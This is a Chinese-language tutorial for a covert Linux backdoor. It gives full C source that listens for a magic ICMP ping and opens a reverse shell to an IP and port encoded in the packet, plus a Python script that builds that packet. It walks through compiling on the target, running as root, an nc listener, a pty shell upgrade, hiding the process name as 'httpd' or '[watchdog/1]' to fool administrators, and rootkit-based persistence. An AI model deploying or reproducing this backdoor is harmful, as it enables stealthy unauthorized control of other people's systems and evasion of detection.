#使用方法:
1.把下列代码复制到目标机器中,保存名为 ping-backdoor.c
2.使用gcc编译
●gcc -static -o ping-backdoor ping-backdoor.c
●strip ping-backdoor
注:如果这一步出现错误,可以尝试安装静态编译解决 yum install glibc-static
3.在目标机器中运行,要以root权限开启后门
●./ping-backdoor
4.在接收反弹的电脑上使用magic.py生成范本数据包,用来ping的时候填充,促发反弹
●python3 magic.py reverse_ip reverse_port //类似这样 ac1f07931a0a2a7e
5.在反弹的电脑上开启nc监听
●nc -lvvp reverse_port //要和使用magic.py时候填写的端口一致
6.在反弹的电脑上ping 带有后门的主机
●ping -c 1 -p ac1f07931a0a2a7e 目标机器ip
注:需要注意的地方是,ping的时候一定要加参数 -c 而且是1,也就是ping一次,要不然会不停的反弹shell出来。-p 是设置ping的时候填满数据包的范本样式,也就是用magic.py生成的,不能弄错。错了反弹不出来.
7.反弹出来之后,看着shell不舒服可以执行一下
●python -c ‘import pty; pty.spawn(“/bin/bash”)’ //伪正式shell,ctrl+c会中断
以上就是完整的步骤,现在说明一下使用过程中,你可能存在的疑惑:
1.在目标机器上开启后门后,即执行了 ./ping-backdoor 后,ps -ef 是看不到这个进程的,也不会启动任何端口监听,即netstat -lanputo 是看不到任何相关端口的
2.当你ping了之后,反弹回来,就会开启一个端口和反弹的机器通讯,在通讯过程中,如果管理员刚好在线,并执行了ps -ef 能看到的进程名字是httpd,这个可以在ping-backdoor.c 代码里修改 SHELLNAME 宏定义变量名为目标常出现的进程即可,具有迷惑性就行。
3.当你断开了反弹回来的shell之后,目标机器httpd进程会自动结束,通讯的端口会自动消失,即ps -ef 看不到相关进程,netstat -lanputo 也看不到通讯端口,当然,再次ping的时候还是可以反弹shell回来的,因为后门还在。所以只有在通讯的时候才会出现相关信息。运气没背到家的话,应该是不会被管理员正好发现的….。
4.当然可以结合某些Rootkit隐藏文件功能,将这个后门文件隐藏,并作为开机启动处理即可。弊端就是,遇到内网机器还需要打通道,有点蛋疼。
5.切勿使用此后门做非法的事情 (这句话可能是个废话)
以下是ping-backdoor.c 代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
/* 自定义部分 */
#define MAGIC1 0x2a
#define MAGIC2 0x7e
#define SHELLNAME "httpd"
#define PARENTNAME "[watchdog/1]"
#define SHELL "/bin/bash"
int main(int argc, char *argv[]) {
int s;
int c;
int n;
char buf[1024];
unsigned char ip[4];
char ipstr[15];
unsigned char portstr[2];
unsigned short port;
struct sockaddr_in shell;
struct ip *iphdr;
struct icmphdr *icmphdr;
unsigned int offset;
/* rename argv[0] to disguise ourselves from wack sysadmins */
if (strlen(argv[0]) >= strlen(PARENTNAME)) {
memset(argv[0], '\0', strlen(argv[0]));
strcpy(argv[0], PARENTNAME);
}
/* Reap child processes */
signal(SIGCHLD, SIG_IGN);
s = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (s == -1) {
fprintf(stderr, "socket(): %s\n", strerror(errno));
return EXIT_FAILURE;
}
/* ip header(20) + icmp header(8) + timestamp(8) + 8 bytes added by ping */
offset = sizeof(struct ip) + sizeof(icmphdr) + 8 + 8;
for (;;) {
memset(buf, 0, sizeof(buf));
n = recv(s, buf, sizeof(buf), 0);
// TODO: white/blacklists
iphdr = (struct ip *)buf;
// TODO: only act on echo requests
icmphdr = (struct icmphdr *)(buf + sizeof(struct ip));
if (n > 51) {
/* Check for magic bytes */
if (buf[offset + 6] != MAGIC1 || buf[offset + 7] != MAGIC2)
continue;
ip[0] = buf[offset];
ip[1] = buf[offset + 1];
ip[2] = buf[offset + 2];
ip[3] = buf[offset + 3];
portstr[0] = buf[offset + 4];
portstr[1] = buf[offset + 5];
port = portstr[0] << 8 | portstr[1];
sprintf(ipstr, "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]);
if (fork() == 0) {
// TODO: other payloads
// - bind shell
// - execute arbitrary commands
/* Fairly standard reverse shell */
shell.sin_family = AF_INET;
shell.sin_port = htons(port);
shell.sin_addr.s_addr = inet_addr(ipstr);
c = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(c, (struct sockaddr *)&shell, sizeof(shell));
dup2(c, STDERR_FILENO);
dup2(c, STDOUT_FILENO);
dup2(c, STDIN_FILENO);
execl(SHELL, SHELLNAME, NULL);
}
}
}
return EXIT_SUCCESS;
}
以下是magic.py内容:
#!/usr/bin/env python3
import os
import sys
import socket
try:
ip_address = sys.argv[1]
port = sys.argv[2]
magic = "2a7e" if len(sys.argv) != 4 else sys.argv[3]
except IndexError:
print("usage: %s <reverse_ip> <reverse_port> [magic]")
exit(os.EX_USAGE)
print(socket.inet_aton(ip_address).hex() + hex(int(port))[2:].zfill(4) + magic)